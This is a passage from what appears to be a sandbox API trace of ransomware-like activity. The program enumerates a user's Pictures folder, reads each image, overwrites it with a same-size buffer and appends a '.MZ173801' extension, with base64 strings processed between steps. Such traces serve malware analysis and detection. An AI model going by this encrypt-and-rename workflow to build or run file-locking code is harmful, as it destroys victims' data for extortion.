0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.626] GetCurrentThreadId () returned 0x9fc [0122.626] GetCurrentThreadId () returned 0x9fc [0122.626] GetCurrentThreadId () returned 0x9fc [0122.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.627] GetCurrentThreadId () returned 0x9fc [0122.627] GetCurrentThreadId () returned 0x9fc [0122.627] GetCurrentThreadId () returned 0x9fc [0122.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4WaQPnQL8V4OHzH6IhlG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4waqpnql8v4ohzh6ihlg.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.628] ReadFile (in: hFile=0x288, lpBuffer=0x733ed0, nNumberOfBytesToRead=0x16aab, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesRead=0x18f990*=0x16aab, lpOverlapped=0x0) returned 1 [0122.630] CloseHandle (hObject=0x288) returned 1 [0122.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4WaQPnQL8V4OHzH6IhlG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4waqpnql8v4ohzh6ihlg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.636] WriteFile (in: hFile=0x288, lpBuffer=0x74bf00*, nNumberOfBytesToWrite=0x16aab, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x74bf00*, lpNumberOfBytesWritten=0x18f99c*=0x16aab, lpOverlapped=0x0) returned 1 [0122.639] CloseHandle (hObject=0x288) returned 1 [0122.643] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4WaQPnQL8V4OHzH6IhlG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4waqpnql8v4ohzh6ihlg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4WaQPnQL8V4OHzH6IhlG.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4waqpnql8v4ohzh6ihlg.bmp.mz173801")) returned 1 [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] GetCurrentThreadId () returned 0x9fc [0122.645] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x66910360, ftLastAccessTime.dwHighDateTime=0x1d5e641, ftLastWriteTime.dwLowDateTime=0x66910360, ftLastWriteTime.dwHighDateTime=0x1d5e641, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="6sxGhE_", cAlternateFileName="")) returned 1 [0122.645] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d0ba70, ftCreationTime.dwHighDateTime=0x1d5de3e, ftLastAccessTime.dwLowDateTime=0xc8500bf0, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0xc8500bf0, ftLastWriteTime.dwHighDateTime=0x1d5e740, nFileSizeHigh=0x0, nFileSizeLow=0x16c1c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="9rk9isrfAE4uu0wzq.bmp", cAlternateFileName="9RK9IS~1.BMP")) returned 1 [0122.645] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.645] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9rk9isrfAE4uu0wzq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rk9isrfae4uu0wzq.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d0ba70, ftCreationTime.dwHighDateTime=0x1d5de3e, ftLastAccessTime.dwLowDateTime=0xc8500bf0, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0xc8500bf0, ftLastWriteTime.dwHighDateTime=0x1d5e740, nFileSizeHigh=0x0, nFileSizeLow=0x16c1c)) returned 1 [0122.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.649] GetCurrentThreadId () returned 0x9fc [0122.649] GetCurrentThreadId () returned 0x9fc [0122.649] GetCurrentThreadId () returned 0x9fc [0122.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.651] GetCurrentThreadId () returned 0x9fc [0122.651] GetCurrentThreadId () returned 0x9fc [0122.651] GetCurrentThreadId () returned 0x9fc [0122.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9rk9isrfAE4uu0wzq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rk9isrfae4uu0wzq.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.651] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x16c1c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x16c1c, lpOverlapped=0x0) returned 1 [0122.653] CloseHandle (hObject=0x288) returned 1 [0122.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9rk9isrfAE4uu0wzq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rk9isrfae4uu0wzq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.657] WriteFile (in: hFile=0x288, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x16c1c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f99c*=0x16c1c, lpOverlapped=0x0) returned 1 [0122.660] CloseHandle (hObject=0x288) returned 1 [0122.663] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9rk9isrfAE4uu0wzq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rk9isrfae4uu0wzq.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9rk9isrfAE4uu0wzq.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rk9isrfae4uu0wzq.bmp.mz173801")) returned 1 [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] GetCurrentThreadId () returned 0x9fc [0122.665] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94154b80, ftCreationTime.dwHighDateTime=0x1d5d9b1, ftLastAccessTime.dwLowDateTime=0x55c413a0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x55c413a0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x18bc9, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="BDN0V6S.gif", cAlternateFileName="")) returned 1 [0122.665] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.665] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BDN0V6S.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdn0v6s.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94154b80, ftCreationTime.dwHighDateTime=0x1d5d9b1, ftLastAccessTime.dwLowDateTime=0x55c413a0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x55c413a0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x18bc9)) returned 1 [0122.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 